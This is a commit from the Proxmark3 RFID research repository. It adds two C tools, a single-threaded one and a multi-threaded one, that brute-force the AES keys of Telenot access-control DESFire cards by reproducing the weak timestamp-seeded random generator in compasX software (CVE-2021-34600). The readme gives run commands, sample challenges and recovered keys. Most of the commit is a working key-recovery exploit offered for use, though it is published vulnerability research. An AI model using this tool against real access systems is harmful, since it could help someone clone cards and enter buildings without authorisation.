mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2024-12-26 10:01:07 +08:00
add new bruteforce tools for teleno's compasX software
This commit is contained in:
parent
117bf7380f
commit
2bac77a84f
10 changed files with 731 additions and 2 deletions
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -76,6 +76,8 @@ tools/cryptorf/sma_multi
|
|||
tools/mf_nonce_brute/mf_nonce_brute
|
||||
tools/mf_nonce_brute/mf_trace_brute
|
||||
tools/jtag_openocd/openocd_configuration
|
||||
tools/mfd_aes_brute/mfd_aes_brute
|
||||
tools/mfd_aes_brute/brute_key
|
||||
|
||||
fpga/*
|
||||
!fpga/tests
|
||||
|
|
|
@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file.
|
|||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Added new tool `brute_key` - MIFARE DESFire Telenot access AES recovery (@x41sec)
|
||||
- Fixed `hf mfu dump -k` - insert PWD in dump (@doegox)
|
||||
- Changed `hf mfu pwdgen` - now generate xiaomi air purifier pwd/pack (@doegox)
|
||||
- Fixed `hf 14a sim` - sneaky detection of user supplied UID might be empty (@iceman1001)
|
||||
|
|
11
Makefile
11
Makefile
|
@ -29,7 +29,7 @@ ifneq (,$(DESTDIR))
|
|||
endif
|
||||
endif
|
||||
|
||||
all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% fpga_compress/%
|
||||
all clean install uninstall check: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% mf_nonce_brute/% mfd_aes_brute/% fpga_compress/%
|
||||
# hitag2crack toolsuite is not yet integrated in "all", it must be called explicitly: "make hitag2crack"
|
||||
#all clean install uninstall check: %: hitag2crack/%
|
||||
|
||||
|
@ -105,6 +105,9 @@ nonce2key/check: FORCE
|
|||
mf_nonce_brute/check: FORCE
|
||||
$(info [*] CHECK $(patsubst %/check,%,$@))
|
||||
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
|
||||
mfd_aes_brute/check: FORCE
|
||||
$(info [*] CHECK $(patsubst %/check,%,$@))
|
||||
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
|
||||
fpga_compress/check: FORCE
|
||||
$(info [*] CHECK $(patsubst %/check,%,$@))
|
||||
$(Q)$(BASH) tools/pm3_tests.sh $(CHECKARGS) $(patsubst %/check,%,$@)
|
||||
|
@ -138,6 +141,9 @@ nonce2key/%: FORCE
|
|||
mf_nonce_brute/%: FORCE
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/mf_nonce_brute $(patsubst mf_nonce_brute/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
mfd_aes_brute/%: FORCE
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/mfd_aes_brute $(patsubst mfd_aes_brute/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
fpga_compress/%: FORCE cleanifplatformchanged
|
||||
$(info [*] MAKE $@)
|
||||
$(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR)
|
||||
|
@ -180,6 +186,7 @@ help:
|
|||
@echo "+ mfkey - Make tools/mfkey"
|
||||
@echo "+ nonce2key - Make tools/nonce2key"
|
||||
@echo "+ mf_nonce_brute - Make tools/mf_nonce_brute"
|
||||
@echo "+ mf_aes_brute - Make tools/mfd_aes_brute"
|
||||
@echo "+ hitag2crack - Make tools/hitag2crack"
|
||||
@echo "+ fpga_compress - Make tools/fpga_compress"
|
||||
@echo
|
||||
|
@ -218,6 +225,8 @@ nonce2key: nonce2key/all
|
|||
|
||||
mf_nonce_brute: mf_nonce_brute/all
|
||||
|
||||
mfd_aes_brute: mfd_aes_brute/all
|
||||
|
||||
fpga_compress: fpga_compress/all
|
||||
|
||||
hitag2crack: hitag2crack/all
|
||||
|
|
26
tools/mfd_aes_brute/Makefile
Normal file
26
tools/mfd_aes_brute/Makefile
Normal file
|
@ -0,0 +1,26 @@
|
|||
MYSRCPATHS = ../../common ../../common/mbedtls
|
||||
MYSRCS = util_posix.c
|
||||
MYINCLUDES = -I../../include -I../../common -I../../common/mbedtls
|
||||
MYCFLAGS = -march=native -Ofast
|
||||
MYDEFS =
|
||||
MYLDLIBS = -lcrypto
|
||||
ifneq ($(SKIPPTHREAD),1)
|
||||
MYLDLIBS += -lpthread
|
||||
endif
|
||||
|
||||
|
||||
BINS = brute_key mfd_aes_brute
|
||||
INSTALLTOOLS = $(BINS)
|
||||
|
||||
include ../../Makefile.host
|
||||
|
||||
# checking platform can be done only after Makefile.host
|
||||
ifneq (,$(findstring MINGW,$(platform)))
|
||||
# Mingw uses by default Microsoft printf, we want the GNU printf (e.g. for %z)
|
||||
# and setting _ISOC99_SOURCE sets internally __USE_MINGW_ANSI_STDIO=1
|
||||
CFLAGS += -D_ISOC99_SOURCE
|
||||
endif
|
||||
|
||||
brute_key : $(OBJDIR)/brute_key.o $(MYOBJS)
|
||||
|
||||
mfd_aes_brute : $(OBJDIR)/mfd_aes_brute.o $(MYOBJS)
|
162
tools/mfd_aes_brute/brute_key.c
Normal file
162
tools/mfd_aes_brute/brute_key.c
Normal file
|
@ -0,0 +1,162 @@
|
|||
// Brute forces transponder AES keys generated by Telenot's compasX software
|
||||
// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
|
||||
//
|
||||
// This program is free software: you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License as published by
|
||||
// the Free Software Foundation, either version 3 of the License, or
|
||||
// (at your option) any later version.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU General Public License
|
||||
// along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
//
|
||||
// requires openssl-devel
|
||||
// gcc -o brute_key -march=native -Ofast orginal.c -lcrypto
|
||||
//
|
||||
// usage: ./$s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>
|
||||
|
||||
// makes it ~14% slower
|
||||
//#define SPINNER
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <limits.h>
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/err.h>
|
||||
#include <string.h>
|
||||
|
||||
uint32_t seed = 0;
|
||||
|
||||
static uint32_t borland_rand(void) {
|
||||
seed = (seed * 22695477) % UINT_MAX;
|
||||
seed = (seed + 1) % UINT_MAX;
|
||||
return (seed >> 16) & 0x7fff;
|
||||
}
|
||||
|
||||
static void borland_srand(uint32_t s) {
|
||||
seed = s;
|
||||
borland_rand();
|
||||
}
|
||||
|
||||
static void make_key(uint32_t s, uint8_t key[]) {
|
||||
borland_srand(s);
|
||||
for (int i = 0; i < 16; i++) {
|
||||
key[i] = borland_rand() % 0xFF;
|
||||
}
|
||||
}
|
||||
|
||||
static void handleErrors(void) {
|
||||
ERR_print_errors_fp(stderr);
|
||||
abort();
|
||||
}
|
||||
|
||||
// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
|
||||
static int decrypt(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
|
||||
EVP_CIPHER_CTX *ctx;
|
||||
int len;
|
||||
int plaintext_len;
|
||||
|
||||
if(!(ctx = EVP_CIPHER_CTX_new()))
|
||||
handleErrors();
|
||||
|
||||
if(1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
|
||||
handleErrors();
|
||||
|
||||
EVP_CIPHER_CTX_set_padding(ctx, 0);
|
||||
|
||||
if(1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
|
||||
handleErrors();
|
||||
plaintext_len = len;
|
||||
|
||||
if(1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
|
||||
handleErrors();
|
||||
plaintext_len += len;
|
||||
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
|
||||
return plaintext_len;
|
||||
}
|
||||
|
||||
static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
|
||||
size_t hexstr_len = strlen(hexstr);
|
||||
if (hexstr_len % 16) {
|
||||
return 1;
|
||||
}
|
||||
if (byte_len < hexstr_len/2) {
|
||||
return 2;
|
||||
}
|
||||
char *pos = &hexstr[0];
|
||||
for (size_t count = 0; *pos != 0; count++) {
|
||||
sscanf(pos, "%2hhx", &bytes[count]);
|
||||
pos += 2;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main (int argc, char* argv[]) {
|
||||
|
||||
uint8_t iv[16] = {0x00};
|
||||
uint8_t key[16] = {0x00};
|
||||
uint8_t dec_tag[16] = {0x00};
|
||||
uint8_t dec_rdr[32] = {0x00};
|
||||
uint8_t tag_challenge[16] = {0x00};
|
||||
uint8_t lock_challenge[32] = {0x00};
|
||||
|
||||
int timestamp = atoi(argv[1]);
|
||||
|
||||
if (argc != 4) {
|
||||
printf("\nusage: %s <unix timestamp> <16 byte tag challenge> <32 byte lock challenge>\n\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if(hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
|
||||
return 2;
|
||||
|
||||
if(hexstr_to_byte_array(argv[3], lock_challenge, sizeof(lock_challenge)))
|
||||
return 3;
|
||||
|
||||
int start_time = time(NULL);
|
||||
|
||||
for (; timestamp < start_time; timestamp++) {
|
||||
|
||||
make_key(timestamp, key);
|
||||
decrypt(tag_challenge, 16, key, iv, dec_tag);
|
||||
decrypt(lock_challenge, 32, key, tag_challenge, dec_rdr);
|
||||
|
||||
// check rol byte first
|
||||
if (dec_tag[0] != dec_rdr[31]) continue;
|
||||
|
||||
// compare rest
|
||||
if (dec_tag[1] != dec_rdr[16]) continue;
|
||||
if (dec_tag[2] != dec_rdr[17]) continue;
|
||||
if (dec_tag[3] != dec_rdr[18]) continue;
|
||||
if (dec_tag[4] != dec_rdr[19]) continue;
|
||||
if (dec_tag[5] != dec_rdr[20]) continue;
|
||||
if (dec_tag[6] != dec_rdr[21]) continue;
|
||||
if (dec_tag[7] != dec_rdr[22]) continue;
|
||||
if (dec_tag[8] != dec_rdr[23]) continue;
|
||||
if (dec_tag[9] != dec_rdr[24]) continue;
|
||||
if (dec_tag[10] != dec_rdr[25]) continue;
|
||||
if (dec_tag[11] != dec_rdr[26]) continue;
|
||||
if (dec_tag[12] != dec_rdr[27]) continue;
|
||||
if (dec_tag[13] != dec_rdr[28]) continue;
|
||||
if (dec_tag[14] != dec_rdr[29]) continue;
|
||||
if (dec_tag[15] != dec_rdr[30]) continue;
|
||||
|
||||
|
||||
printf("\btimestamp: %i\nkey: ", timestamp);
|
||||
for (int i = 0; i < 16; i++) {
|
||||
printf("%02x", key[i]);
|
||||
}
|
||||
printf("\n");
|
||||
exit(0);
|
||||
|
||||
}
|
||||
printf("key not found\n");
|
||||
exit(2);
|
||||
}
|
292
tools/mfd_aes_brute/mfd_aes_brute.c
Normal file
292
tools/mfd_aes_brute/mfd_aes_brute.c
Normal file
|
@ -0,0 +1,292 @@
|
|||
// Multi threaded bruteforce tool
|
||||
// for transponder AES keys generated by Telenot's compasX software
|
||||
// Copyright (C) 2022 X41 D-Sec GmbH, Markus Vervier, Yaşar Klawohn
|
||||
// Copyright (C) 2022 Iceman
|
||||
//
|
||||
// This program is free software: you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License as published by
|
||||
// the Free Software Foundation, either version 3 of the License, or
|
||||
// (at your option) any later version.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU General Public License
|
||||
// along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
#define __STDC_FORMAT_MACROS
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <limits.h>
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/err.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include "util_posix.h"
|
||||
|
||||
#define AEND "\x1b[0m"
|
||||
#define _RED_(s) "\x1b[31m" s AEND
|
||||
#define _GREEN_(s) "\x1b[32m" s AEND
|
||||
#define _YELLOW_(s) "\x1b[33m" s AEND
|
||||
#define _CYAN_(s) "\x1b[36m" s AEND
|
||||
|
||||
// a global mutex to prevent interlaced printing from different threads
|
||||
pthread_mutex_t print_lock;
|
||||
|
||||
static int global_found = 0;
|
||||
static int thread_count = 2;
|
||||
|
||||
typedef struct thread_args {
|
||||
int thread;
|
||||
int idx;
|
||||
uint64_t starttime;
|
||||
uint64_t stoptime;
|
||||
uint8_t tag[16];
|
||||
uint8_t rdr[32];
|
||||
} targs;
|
||||
|
||||
static void make_key(uint32_t seed, uint8_t key[]) {
|
||||
|
||||
uint32_t lseed = seed;
|
||||
lseed = (lseed * 22695477) % UINT_MAX;
|
||||
lseed = (lseed + 1) % UINT_MAX;
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
lseed = (lseed * 22695477) % UINT_MAX;
|
||||
lseed = (lseed + 1) % UINT_MAX;
|
||||
key[i] = ((lseed >> 16) & 0x7fff) % 0xFF;
|
||||
}
|
||||
}
|
||||
|
||||
static void handleErrors(void) {
|
||||
ERR_print_errors_fp(stderr);
|
||||
abort();
|
||||
}
|
||||
|
||||
// source https://wiki.openssl.org/index.php/EVP_Symmetric_Encryption_and_Decryption#Decrypting_the_Message
|
||||
static int decrypt_aes(uint8_t ciphertext[], int ciphertext_len, uint8_t key[], uint8_t iv[], uint8_t plaintext[]) {
|
||||
EVP_CIPHER_CTX *ctx;
|
||||
if (!(ctx = EVP_CIPHER_CTX_new()))
|
||||
handleErrors();
|
||||
|
||||
if (1 != EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
|
||||
handleErrors();
|
||||
|
||||
EVP_CIPHER_CTX_set_padding(ctx, 0);
|
||||
|
||||
int len = 0;
|
||||
if (1 != EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ciphertext_len))
|
||||
handleErrors();
|
||||
|
||||
int plaintext_len = len;
|
||||
|
||||
if (1 != EVP_DecryptFinal_ex(ctx, plaintext + len, &len))
|
||||
handleErrors();
|
||||
|
||||
plaintext_len += len;
|
||||
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
return plaintext_len;
|
||||
}
|
||||
|
||||
static int hexstr_to_byte_array(char hexstr[], uint8_t bytes[], size_t byte_len) {
|
||||
size_t hexstr_len = strlen(hexstr);
|
||||
if (hexstr_len % 16) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (byte_len < (hexstr_len / 2)) {
|
||||
return 2;
|
||||
}
|
||||
|
||||
char *pos = &hexstr[0];
|
||||
for (size_t count = 0; *pos != 0; count++) {
|
||||
sscanf(pos, "%2hhx", &bytes[count]);
|
||||
pos += 2;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void print_hex(const uint8_t *data, const size_t len) {
|
||||
if (data == NULL || len == 0) return;
|
||||
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
printf("%02X", data[i]);
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
static void print_time(uint64_t at) {
|
||||
|
||||
time_t t = at;
|
||||
struct tm lt;
|
||||
(void) localtime_r(&t, <);
|
||||
|
||||
char res[32];
|
||||
strftime(res, sizeof(res), "%Y-%m-%d %H:%M:%S", <);
|
||||
|
||||
printf("%u ( '%s' )\n", (unsigned)t, res);
|
||||
}
|
||||
|
||||
static void *brute_thread(void *arguments) {
|
||||
|
||||
struct thread_args *args = (struct thread_args *) arguments;
|
||||
|
||||
uint64_t starttime = args->starttime;
|
||||
|
||||
uint64_t stoptime = args->stoptime;
|
||||
uint8_t local_tag[16];
|
||||
uint8_t local_rdr[32];
|
||||
memcpy(local_tag, args->tag, 16);
|
||||
memcpy(local_rdr, args->rdr, 32);
|
||||
|
||||
for (uint64_t i = starttime + args->idx; i < stoptime; i += thread_count) {
|
||||
|
||||
if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) {
|
||||
break;
|
||||
}
|
||||
|
||||
uint8_t key[16] = {0x00};
|
||||
make_key(i, key);
|
||||
|
||||
uint8_t iv[16] = {0x00};
|
||||
uint8_t dec_tag[16] = {0x00};
|
||||
decrypt_aes(local_tag, 16, key, iv, dec_tag);
|
||||
|
||||
uint8_t dec_rdr[32] = {0x00};
|
||||
decrypt_aes(local_rdr, 32, key, local_tag, dec_rdr);
|
||||
|
||||
// check rol byte first
|
||||
if (dec_tag[0] != dec_rdr[31]) continue;
|
||||
|
||||
// compare rest
|
||||
if (dec_tag[1] != dec_rdr[16]) continue;
|
||||
if (dec_tag[2] != dec_rdr[17]) continue;
|
||||
if (dec_tag[3] != dec_rdr[18]) continue;
|
||||
if (dec_tag[4] != dec_rdr[19]) continue;
|
||||
if (dec_tag[5] != dec_rdr[20]) continue;
|
||||
if (dec_tag[6] != dec_rdr[21]) continue;
|
||||
if (dec_tag[7] != dec_rdr[22]) continue;
|
||||
if (dec_tag[8] != dec_rdr[23]) continue;
|
||||
if (dec_tag[9] != dec_rdr[24]) continue;
|
||||
if (dec_tag[10] != dec_rdr[25]) continue;
|
||||
if (dec_tag[11] != dec_rdr[26]) continue;
|
||||
if (dec_tag[12] != dec_rdr[27]) continue;
|
||||
if (dec_tag[13] != dec_rdr[28]) continue;
|
||||
if (dec_tag[14] != dec_rdr[29]) continue;
|
||||
if (dec_tag[15] != dec_rdr[30]) continue;
|
||||
|
||||
__sync_fetch_and_add(&global_found, 1);
|
||||
|
||||
// lock this section to avoid interlacing prints from different threats
|
||||
pthread_mutex_lock(&print_lock);
|
||||
|
||||
printf("Found timestamp........ ");
|
||||
print_time(i);
|
||||
|
||||
printf("key.................... \x1b[32m");
|
||||
print_hex(key, sizeof(key));
|
||||
printf(AEND);
|
||||
|
||||
pthread_mutex_unlock(&print_lock);
|
||||
break;
|
||||
}
|
||||
|
||||
free(args);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static int usage(const char* s) {
|
||||
printf(_YELLOW_("syntax:") "\n");
|
||||
printf(" %s <unix timestamp> <16 byte tag challenge> <32 byte reader response challenge>\n", s);
|
||||
printf("\n");
|
||||
printf(_YELLOW_("example:") "\n");
|
||||
printf(" ./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c\n");
|
||||
printf("\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
int main (int argc, char* argv[]) {
|
||||
|
||||
printf("\n");
|
||||
printf(_CYAN_("Telenot access MIFARE DESFire AES key recovery tool") "\n");
|
||||
printf("multi-threaded edition\n");
|
||||
printf("-----------------------------------------------------\n");
|
||||
printf("\n");
|
||||
|
||||
if (argc != 4) return usage(argv[0]);
|
||||
|
||||
uint64_t start_time = atoi(argv[1]);
|
||||
|
||||
uint8_t tag_challenge[16] = {0x00};
|
||||
if (hexstr_to_byte_array(argv[2], tag_challenge, sizeof(tag_challenge)))
|
||||
return 2;
|
||||
|
||||
uint8_t rdr_resp_challenge[32] = {0x00};
|
||||
if (hexstr_to_byte_array(argv[3], rdr_resp_challenge, sizeof(rdr_resp_challenge)))
|
||||
return 3;
|
||||
|
||||
printf("Starting timestamp..... ");
|
||||
print_time(start_time);
|
||||
|
||||
printf("Tag Challenge.......... ");
|
||||
print_hex(tag_challenge, sizeof(tag_challenge));
|
||||
|
||||
printf("Rdr Resp & Challenge... ");
|
||||
print_hex(rdr_resp_challenge, sizeof(rdr_resp_challenge));
|
||||
|
||||
|
||||
uint64_t t1 = msclock();
|
||||
|
||||
#if !defined(_WIN32) || !defined(__WIN32__)
|
||||
thread_count = sysconf(_SC_NPROCESSORS_CONF);
|
||||
if (thread_count < 2)
|
||||
thread_count = 2;
|
||||
#endif /* _WIN32 */
|
||||
|
||||
printf("\nBruteforce using " _YELLOW_("%d") " threads\n", thread_count);
|
||||
|
||||
pthread_t threads[thread_count];
|
||||
|
||||
// create a mutex to avoid interlacing print commands from our different threads
|
||||
pthread_mutex_init(&print_lock, NULL);
|
||||
|
||||
// threads
|
||||
uint64_t stop_time = time(NULL);
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
struct thread_args *a = calloc(1, sizeof(struct thread_args));
|
||||
a->thread = i;
|
||||
a->idx = i;
|
||||
a->starttime = start_time;
|
||||
a->stoptime = stop_time;
|
||||
memcpy(a->tag, tag_challenge, 16);
|
||||
memcpy(a->rdr, rdr_resp_challenge, 32);
|
||||
pthread_create(&threads[i], NULL, brute_thread, (void *)a);
|
||||
}
|
||||
|
||||
// wait for threads to terminate:
|
||||
for (int i = 0; i < thread_count; ++i) {
|
||||
pthread_join(threads[i], NULL);
|
||||
}
|
||||
|
||||
if (global_found == false) {
|
||||
printf("\n" _RED_("!!!") " failed to find a key\n\n");
|
||||
}
|
||||
|
||||
t1 = msclock() - t1;
|
||||
if (t1 > 0) {
|
||||
printf("execution time " _YELLOW_("%.2f") " sec\n", (float)t1 / 1000.0);
|
||||
}
|
||||
|
||||
// clean up mutex
|
||||
pthread_mutex_destroy(&print_lock);
|
||||
return 0;
|
||||
}
|
62
tools/mfd_aes_brute/readme.txt
Normal file
62
tools/mfd_aes_brute/readme.txt
Normal file
|
@ -0,0 +1,62 @@
|
|||
# AUTH AES
|
||||
#
|
||||
# blog: https://x41-dsec.de/lab/blog/telenot-complex-insecure-keygen/
|
||||
#
|
||||
# Recover the AES key for Telenot Access system's desfire cards.
|
||||
# CVE-2021-34600
|
||||
#
|
||||
# Finds the UNIX timestamp an AES key created with compasX version older than 32.0 has been generated.
|
||||
# Will not work on access tokens afterwards.
|
||||
#
|
||||
|
||||
|
||||
# Unix time stamp 2006-01-01
|
||||
1136073600
|
||||
|
||||
# reader challenge
|
||||
3fda933e2953ca5e6cfbbf95d1b51ddf
|
||||
|
||||
# tag resp, challenge
|
||||
97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
|
||||
|
||||
|
||||
#
|
||||
# Original source code by authors
|
||||
#
|
||||
|
||||
# simple
|
||||
./brute_key 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c
|
||||
|
||||
# complex
|
||||
./brute_key 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
|
||||
|
||||
|
||||
#
|
||||
# Multi threaded version (Iceman)
|
||||
#
|
||||
|
||||
# simple
|
||||
./mfd_aes_brute 1605394800 bb6aea729414a5b1eff7b16328ce37fd 82f5f498dbc29f7570102397a2e5ef2b6dc14a864f665b3c54d11765af81e95c
|
||||
|
||||
expected result:
|
||||
261c07a23f2bc8262f69f10a5bdf3764
|
||||
|
||||
|
||||
Bruteforce using 8 threads
|
||||
Found timestamp........ 1631100305 ( '2021-09-08 13:25:05' )
|
||||
key.................... 261c07a23f2bc8262f69f10a5bdf3764
|
||||
execution time 1.00 sec
|
||||
|
||||
#
|
||||
# complex
|
||||
./mfd_aes_brute 1136073600 3fda933e2953ca5e6cfbbf95d1b51ddf 97fe4b5de24188458d102959b888938c988e96fb98469ce7426f50f108eaa583
|
||||
|
||||
expected result:
|
||||
e757178e13516a4f3171bc6ea85e165a
|
||||
|
||||
|
||||
Bruteforce using 8 threads
|
||||
Found timestamp........ 1606834416 ( '2020-12-01 15:53:36' )
|
||||
key.................... e757178e13516a4f3171bc6ea85e165a
|
||||
execution time 18.54 sec
|
||||
|
137
tools/mfd_aes_brute/util_posix.c
Normal file
137
tools/mfd_aes_brute/util_posix.c
Normal file
|
@ -0,0 +1,137 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// utilities requiring Posix library functions
|
||||
//-----------------------------------------------------------------------------
|
||||
|
||||
// ensure availability even with -std=c99; must be included before
|
||||
#if !defined(_WIN32)
|
||||
//#define _POSIX_C_SOURCE 199309L // need nanosleep()
|
||||
#define _POSIX_C_SOURCE 200112L // need localtime_r()
|
||||
#else
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
#include "util_posix.h"
|
||||
#include <stdint.h>
|
||||
#include <time.h>
|
||||
|
||||
|
||||
// Timer functions
|
||||
#if !defined (_WIN32)
|
||||
#include <errno.h>
|
||||
|
||||
static void nsleep(uint64_t n) {
|
||||
struct timespec timeout;
|
||||
timeout.tv_sec = n / 1000000000;
|
||||
timeout.tv_nsec = n % 1000000000;
|
||||
while (nanosleep(&timeout, &timeout) && errno == EINTR);
|
||||
}
|
||||
|
||||
void msleep(uint32_t n) {
|
||||
nsleep(1000000 * (uint64_t)n);
|
||||
}
|
||||
#endif // _WIN32
|
||||
|
||||
#ifdef __APPLE__
|
||||
|
||||
#ifndef CLOCK_MONOTONIC
|
||||
#define CLOCK_MONOTONIC (1)
|
||||
#endif
|
||||
#ifndef CLOCK_REALTIME
|
||||
#define CLOCK_REALTIME (2)
|
||||
#endif
|
||||
|
||||
#include <sys/time.h>
|
||||
#include <mach/clock.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_time.h>
|
||||
|
||||
/* clock_gettime is not implemented on OSX prior to 10.12 */
|
||||
int _civet_clock_gettime(int clk_id, struct timespec *t);
|
||||
|
||||
int _civet_clock_gettime(int clk_id, struct timespec *t) {
|
||||
memset(t, 0, sizeof(*t));
|
||||
if (clk_id == CLOCK_REALTIME) {
|
||||
struct timeval now;
|
||||
int rv = gettimeofday(&now, NULL);
|
||||
if (rv) {
|
||||
return rv;
|
||||
}
|
||||
t->tv_sec = now.tv_sec;
|
||||
t->tv_nsec = now.tv_usec * 1000;
|
||||
return 0;
|
||||
|
||||
} else if (clk_id == CLOCK_MONOTONIC) {
|
||||
static uint64_t clock_start_time = 0;
|
||||
static mach_timebase_info_data_t timebase_info = {0, 0};
|
||||
|
||||
uint64_t now = mach_absolute_time();
|
||||
|
||||
if (clock_start_time == 0) {
|
||||
|
||||
mach_timebase_info(&timebase_info);
|
||||
clock_start_time = now;
|
||||
}
|
||||
|
||||
now = (uint64_t)((double)(now - clock_start_time)
|
||||
* (double)timebase_info.numer
|
||||
/ (double)timebase_info.denom);
|
||||
|
||||
t->tv_sec = now / 1000000000;
|
||||
t->tv_nsec = now % 1000000000;
|
||||
return 0;
|
||||
}
|
||||
return -1; // EINVAL - Clock ID is unknown
|
||||
}
|
||||
|
||||
/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */
|
||||
#ifdef __CLOCK_AVAILABILITY
|
||||
/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared
|
||||
* but it may be NULL at runtime. So we need to check before using it. */
|
||||
int _civet_safe_clock_gettime(int clk_id, struct timespec *t);
|
||||
|
||||
int _civet_safe_clock_gettime(int clk_id, struct timespec *t) {
|
||||
if (clock_gettime) {
|
||||
return clock_gettime(clk_id, t);
|
||||
}
|
||||
return _civet_clock_gettime(clk_id, t);
|
||||
}
|
||||
#define clock_gettime _civet_safe_clock_gettime
|
||||
#else
|
||||
#define clock_gettime _civet_clock_gettime
|
||||
#endif
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
// a milliseconds timer for performance measurement
|
||||
uint64_t msclock(void) {
|
||||
#if defined(_WIN32)
|
||||
#include <sys/types.h>
|
||||
|
||||
// WORKAROUND FOR MinGW (some versions - use if normal code does not compile)
|
||||
// It has no _ftime_s and needs explicit inclusion of timeb.h
|
||||
#include <sys/timeb.h>
|
||||
struct _timeb t;
|
||||
_ftime(&t);
|
||||
return 1000 * (uint64_t)t.time + t.millitm;
|
||||
|
||||
// NORMAL CODE (use _ftime_s)
|
||||
//struct _timeb t;
|
||||
//if (_ftime_s(&t)) {
|
||||
// return 0;
|
||||
//} else {
|
||||
// return 1000 * t.time + t.millitm;
|
||||
//}
|
||||
#else
|
||||
struct timespec t;
|
||||
clock_gettime(CLOCK_MONOTONIC, &t);
|
||||
return (1000 * (uint64_t)t.tv_sec + t.tv_nsec / 1000000);
|
||||
#endif
|
||||
}
|
||||
|
26
tools/mfd_aes_brute/util_posix.h
Normal file
26
tools/mfd_aes_brute/util_posix.h
Normal file
|
@ -0,0 +1,26 @@
|
|||
//-----------------------------------------------------------------------------
|
||||
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||
//
|
||||
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||
// the license.
|
||||
//-----------------------------------------------------------------------------
|
||||
// utilities requiring Posix library functions
|
||||
